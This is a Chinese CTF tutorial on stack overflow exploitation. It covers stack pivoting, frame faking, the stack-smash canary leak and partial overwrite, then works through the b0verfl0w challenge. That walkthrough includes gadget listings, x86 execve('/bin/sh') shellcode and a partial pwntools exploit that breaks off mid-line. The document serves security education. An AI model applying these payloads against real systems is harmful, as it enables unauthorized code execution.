花式栈溢出
参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#2018-over
参考:https://www.yuque.com/hxfqg9/bin/erh0l7
参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop
1.原理
1.1 stack pivoting
stack pivoting,翻为堆栈旋转 ,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP(说白了就是通过控制esp,从而达到间接控制eip的目的)。一般来说,我们可能在以下情况需要使用 stack pivoting:
- 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
- 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
- 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用
此外,利用 stack pivoting 有以下几个要求
- 可以控制程序执行流,也就是控制eip。
- 可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
pop rsp/esp
jmp rsp/esp
还有libc_csu_init 中的csu_gadget1 + 3:
pwndbg> x/5i 0x000000000040061A + 3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
1.2 栈迁移(frame faking)
1.2.1 gadget介绍
栈迁移主要利用了 leave; ret; 这样的gadget
leave相当于:
move esp, ebp;
pop ebp
ret相当于:
pop eip
当程序完成调用,打算返回时,就会出现leave; ret这样的gadget:

1.2.2 栈(payload)布置
栈迁移的栈布置如下(payload = padding + address(fake_ebp1) + read + leave_ret_gadget + 0 + fake_ebp1 + 0x100):

在进行read()函数读入数据时,我们需要输入:address(fake ebp2) + system() + padding _+ “/bin/sh”。(这里以system()为例,也可以调用其他的函数)
备注:
1. payload内加入read是为了在bss段或者data段内写入我们需要的数据,如果需要的数据提前已经被构造好了,那么可以删掉read,直接跟上leave_ret_gagegt。
2.在后面read()读入数据时输入的address(fake ebp2)是为了控制ebp的指向。如果只是为了执行函数,无所谓ebp在哪,那完全不需要输入address(fake ebp2),而可以用padding代替。
1.2.3 步骤分析
我们逐步分析下栈迁移的每一步,以执行system()函数为例:
stage 1:
函数调用完成,程序在函数结尾执行leave指令的move esp, ebp:

stage 2:
执行leave指令的 pop ebp:

stage 3:
程序执行ret,即pop eip,那么调用read(0, fake_ebp1, 0x100)函数。那么我们输入的内容就会从fake_ebp1开始往高地址写,我们让它写入:address(fake ebp2) + system() + padding + “/bin/sh”

stage 4:
程序执行leave_ret_gadget,那么又会像上面一样:
执行move esp, ebp
:

stage 5:
然后是pop ebp:

这个时候我们发现esp指向了我们写入的函数地址,比如system()函数。
stage 6:
然后是ret:
程序被劫持指向我们指定的函数,比如system(),实现目的。
其他栈迁移方式:
下面再介绍一种栈迁移方式,不过原理基本一样,不一样的是如下的布置方式不需要利用被调用函数的leave;ret
机制,且调用完后ebp不知道会指向哪里(取决于0x804a824内写入的原来的数据),但是仍然可以指向指定的函数:
以下以调用write()函数对栈上的”/bin/sh“进行打印为例:
原栈帧的布置:
0x0000: b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0x0004: b'aaaa'
...
0x0064: b'aaaa'
0x0068: b'aaaa'
0x006c: b'aaaa'
0x0070: 0x8048390 read(0, 0x804a828, 100)
0x0074: 0x804836a <adjust @0x84> add esp, 8; pop ebx; ret
0x0078: 0x0 arg0
0x007c: 0x804a828 arg1
0x0080: 0x64 arg2
0x0084: 0x804864b pop ebp; ret
0x0088: 0x804a824
0x008c: 0x8048465 leave; ret
bss段布置:
0x0000: 0x80483c0 write(1, 0x804a878, 7)
0x0004: 0x804836a <adjust @0x14> add esp, 8; pop ebx; ret
0x0008: 0x1 arg0
0x000c: 0x804a878 arg1
0x0010: 0x7 arg2
0x0014: b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0x0018: b'aaaa'
...
0x0048: b'aaaa'
0x004c: b'aaaa'
0x0050: b'/bin' '/bin/sh'
0x0054: b'/sh'
0x0057: b'aaaa' 'aaaaaaaaaaaaa'
0x005b: b'aaaa'
0x005f: b'aaaa'
0x0063: b'a'
执行完后,栈帧如下:

1.3 Stack smash
Stack smash是绕过canary保护的技术。
在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail
函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail
函数中就会输出我们想要的信息。
但是,在我的ubuntu20.04(内核 4.19.128)里面不会打印程序名,也不会打印 <unknown>
:
*** stack smashing detected ***: terminated
因此,对于比较新的内核,这个技巧无效了。
1.4 partial overwrite
在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。
2.例题
2.1 stack pivoting
2.1.1 习题信息
习题来自:ctf-challenges/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w
2.1.2 程序分析
看一下安全机制:
$ checksec b0verfl0w
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w/b0verfl0w'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
可以看出来是32位的,没有canary,没有nx,没有pie,存在RWX
IDA看一下漏洞函数:
signed int vul()
{
char s; // [esp+18h] [ebp-20h]
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
程序存在栈溢出,但是溢出的长度为: 50 - 0x20 - 4 = 14字节,因此很多rop无法执行。
考虑stack privoting,因为程序没有开启nx,因此可以把shellcode部署到栈上执行。基本思路如下:
- 利用栈溢出部署shellcode
- 控制eip指向shellcode
那么如何控制eip指向shellcode,我们寻找类似 jmp esp
的gadget:
$ ROPgadget --binary b0verfl0w --only "jmp|ret"
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x0804855d : jmp dword ptr [ecx + 0x804a040]
0x08048550 : jmp dword ptr [ecx + 0x804a060]
0x0804876f : jmp dword ptr [ecx]
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1
Unique gadgets found: 9
可以使用 0x08048504 处的gadget,当esp指向了我们可以控制的gadget时,触发jmp esp,从而让eip指向我们可以控制的gadget。然后我们可以控制的gadget功能就是让esp指向栈上shellcode,再jmp esp。
exp如下:
from pwn import *
sh = process('./b0verfl0w')
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp') # 我们可以控制的gadget
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86